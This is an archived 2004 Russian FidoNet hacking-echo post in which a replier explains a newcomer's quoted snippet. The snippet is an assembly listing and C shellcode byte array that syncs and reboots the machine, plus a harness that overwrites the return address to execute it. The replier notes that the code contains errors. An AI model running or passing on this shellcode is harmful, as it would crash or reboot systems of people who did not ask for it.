|
|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Dmitry Radishev 2:5015/42 27 Jan 2004 14:43:25 To : Dmitry V Sizikov Subject : мааааленький вопpосик -------------------------------------------------------------------------------- Sunday January 25 2004 18:32, Dmitry V Sizikov wrote to Eugene Klimakov: DS> /* DS> jmp rootshell DS> coded_by_dmv DS> popl %edi DS> call reb00t DS> rootshel: DS> call codeded_by_dmv DS> reb00t: DS> xarl %eax.%eax DS> movb $0x24.%eax DS> int $0x80 DS> xorl %eax.%eax DS> movb $0x58.%eax DS> movl $0xfeeldead.%edx DS> movl $672274793.%ecx DS> movl $0x1234567.%edx DS> int $0x80 DS> xorl $eax.%eax DS> movb $0x01.%al DS> int $0x80 DS> */ Это - комментарий :-) Кстати, с ошибками. >>> потом вpоди как все пpодолжаеться но толдько на Яве может я ошибаюсь >>> но это все идет в одном... DS> cha shellcode[]= DS> "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff" DS> "\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0" DS> "\x58\xbb\xad\xde\xel\xfe\xb9\x69\x19\x12\x28" DS> "\xda\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01" DS> "\xcd\x80\x89\xec\x5d\xc3"; DS> void main() DS> { DS> int *ret; И давно в Яве появилась арифметика с указателями? Это не наезд - я просто не в курсе, вдруг оно там есть. DS> ret = (int *)&ret + 2; DS> (*ret) = (int)shellcode; Подменяем адрес возврата адресом массива с "шеллкодом". При возврате - происходит вызов шеллкода. Что в шеллкоде - см. комментарий. DS> Вот так... кстате это все на асме и помоему на Яве только я понять DS> тогда немогу.... как откомпелиpовать??? КомпЕлировать - компЕлятором. Учитывая, что целевая платформа вообще-то неясна - попробуй VC, чего-нибудь досовое, gcc под линухом. All the best //DiBR [TEAM ВСЕ МАСТДАЙ] [шестая базовая] [http://dibr.nnov.ru] --- [LPT] LaMerZ PrOfeSsIoNaL TeaM /member/ * Origin: God is Real, unless explicitely declared as Integer (2:5015/42) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/181540166c49.html, оценка из 5, голосов 10
|